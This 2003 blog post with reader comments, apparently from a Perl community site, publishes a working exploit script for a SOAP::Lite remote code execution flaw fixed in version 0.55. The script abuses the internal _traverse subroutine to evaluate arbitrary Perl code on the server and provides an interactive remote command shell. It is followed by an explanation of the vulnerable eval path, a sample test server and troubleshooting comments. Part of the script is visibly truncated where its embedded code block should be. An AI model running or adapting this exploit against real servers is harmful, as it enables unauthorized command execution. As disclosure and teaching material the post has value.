Old SOAP::Lite exploit

IlyaM on 2003-09-19T19:54:56

About year ago I announced that I have wrote SOAP::Lite exploit. I didn't publish the exploit though I promised it. Interestingly enough nobody asked me for proof - so far only Paul Kulchenko (the SOAP::Lite author) and Randy J Ray have seen it. Well, in case it is still of somebody interest I'm publishing it here:

#!/usr/bin/perl -w

# Copyright (c) 2002 by Ilya Martynov. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the same terms as Perl itself.

# This program exploits security bug in SOAP::Lite which allows any
# SOAP client call any Perl subroutine as class/object method on side
# of SOAP::Lite based SOAP server.
#
# This vulnerability have been found by stealth 
# and described in Phrack article 'RPC without borders':
#
#     http://www.phrack.com/show.php?p=58&a=9
#
# This program shows how to
#
# 1) evaluate any Perl code inside SOAP::Lite based server
#
# 2) access remote pseudo shell
#
# using this security bug.

use strict;

use SOAP::Lite;
use Term::ReadLine;

my($uri, $proxy) = @ARGV;
unless(defined $proxy) {
    die "Usage: $0 URI PROXY\n";
}

my $soap = connect_soap($uri, $proxy);
shell($soap);

# returns soap object
sub connect_soap {
    my $uri = shift;
    my $proxy = shift;

    my $soap = SOAP::Lite
	-> uri($uri)
	-> proxy($proxy);

    return $soap;
}

# evals any Perl code on side of SOAP::Lite based server
sub remote_eval {
    my $soap = shift;
    my $expr = shift;

    # escape Perl expression
    $expr = escape_single_quoted($expr);

    # code to run on side of SOAP::Lite server
    my $code = <[0] = \$ret;
}
1
CODE

    my @params = ([], $code, '[1]');

    my $som = $soap->call('X:SOAP::SOM::_traverse' => @params);

    return $som->result->[0];
}

# simple pseudo shell which allows to execute commands on side of
# SOAP::Lite based server
sub shell {
    my $soap = shift;

    my $term = new Term::ReadLine 'SOAP::Lite remote shell';
    my $OUT = $term->OUT || \*STDOUT;

    while (defined (my $cmd = $term->readline('> ')) ) {
        chomp $cmd;
        my $cmd = escape_single_quoted($cmd);
        print $OUT remote_eval($soap, "qx'$cmd'");
        $term->addhistory($cmd) if $cmd =~ /\S/;
    }
}

# escapes string which is going to be used as single quoted string
sub escape_single_quoted {
    my $string = shift;

    $string =~ s/(['\\])/\\$1/g;

    return $string;
}
How does it work? Before 0.55 it was possible to call any subroutine in any Perl packages inside of SOAP::Lite based server (at least when autodispatch is turned on). Package X:SOAP::SOM used to contain (and actually still contains subroutine _traverse):
# source code of _traverse from 0.52
sub _traverse {
  my $self = shift;
  my($pointer, $itself, $path, @path) = @_;

  if ($path && substr($path, 0, 1) eq '{') {
    $path = join '/', $path, shift @path while @path && $path !~ /}/;
  }

  my($op, $num) = $path =~ /^\[(<=|<|>=|>|=|!=?)?(\d+)\]$/ if defined $path;

  return $pointer unless defined $path;

  $op = '==' unless $op; $op .= '=' if $op eq '=' || $op eq '!';
  my $numok = defined $num && eval "$itself $op $num";
  my $nameok = (o_lname($pointer) || '') =~ /(?:^|\})$path$/ if defined $path; # name can be with namespace

  my $anynode = $path eq '';
  unless ($anynode) {
    if (@path) {
      return if defined $num && !$numok || !defined $num && !$nameok;
    } else {
      return $pointer if defined $num && $numok || !defined $num && $nameok;
      return;
    }
  }

  my @walk;
  push @walk, $self->_traverse_tree([$pointer], @path) if $anynode;
  push @walk, $self->_traverse_tree(o_child($pointer), $anynode ? ($path, @path) : @path);
  return @walk;
}
As you can see one of code paths contains a call to eval. And since we can call this subroutine directly we can bypass whatever Perl code we want to this eval. The only thing required from the exploit to work is to supply correct arguments for this subroutine to enable the code path with eval.

I hope all of you upgraded to 0.55 - after all this release which fixes the security hole exploited by this exploit was released one year ago.


Not working for me

samtregar on 2003-09-19T21:16:03

Against a server running SOAP::Lite 0.51 I get:

Can't use an undefined value as an ARRAY reference at ./exploit.pl line 80.

It doesn't seem to matter what I type at the prompt, that's all I get.

-sam

Re:Not working for me

IlyaM on 2003-09-20T08:25:30

Just tested it with 0.52 and it works. Sample server:
#!/usr/bin/perl -w

use SOAP::Transport::HTTP;

my $daemon = SOAP::Transport::HTTP::Daemon
    -> new (LocalAddr => 'localhost', LocalPort => 8000, Reuse => 1)
    -> dispatch_to(Test);

print "Contact to SOAP server at ", $daemon->url, "\n";
$daemon->handle;

package Test;

sub hello {
    join ' ', '[', @_, ']', "\n";
}
I think I did test this exploit with 0.51 in the past and it worked. Or maybe my memory fails me.

Interesting ...

rob_au on 2003-09-20T00:28:35

Very interesting. It would appear that there was a warning about the use of autodispatch in earlier versions of SOAP::Lite, to quote:

WARNING: autodispatch feature can have side effects for your application and can affect functionality of other modules/libraries because of overloading UNIVERSAL::AUTOLOAD. All unresolved calls will be dispatched as SOAP calls, however it could be not what you want in some cases. If so, consider using object interface (see implementation of OO interface).

I just guess that nobody picked up on it. Thanks for posting this.